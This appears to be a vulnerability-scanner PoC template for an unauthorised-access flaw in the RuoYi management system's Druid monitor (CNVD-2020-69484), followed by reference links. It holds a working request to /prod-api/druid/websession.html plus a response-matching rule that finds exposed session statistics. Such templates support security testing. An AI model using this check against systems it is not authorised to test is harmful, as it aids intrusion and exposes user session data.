Description
若依管理系统未授权访问
ruoyi-druid-unauth: 若依管理系统未授权访问
PoC
id: ruoyi-druid-unauth
info:
name: 若依管理系统未授权访问
author: Str1am
severity: high
verified: true
description: |-
若依管理系统未授权访问
tags: ruoyi,druid,unauth
created: 2023/07/07
rules:
r0:
request:
method: GET
path: /prod-api/druid/websession.html
expression: response.status == 200 && response.body.bcontains(b'Druid Web Session Stat') && response.body.bcontains(b'Web Session Stat')
expression: r0()
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/SexyBeast233/SecBooks/blob/main/%E3%80%90%E6%96%87%E5%BA%93%E3%80%91peiqi%E6%96%87%E5%BA%93/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE.md
https://blog.csdn.net/qq_43936524/article/details/113820815
https://www.cnblogs.com/xyz315/p/15209340.html
https://cn-sec.com/archives/342994.html
https://disk.scan.cm/All_wiki/%E4%BD%A9%E5%A5%87PeiQi-WIKI-POC-2021-7-20%E6%BC%8F%E6%B4%9E%E5%BA%93/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE.md
https://bbs.huaweicloud.com/blogs/403464
https://comate.baidu.com/zh/page/8tvb3692bec
https://www.cnvd.org.cn/flaw/show/CNVD-2020-69484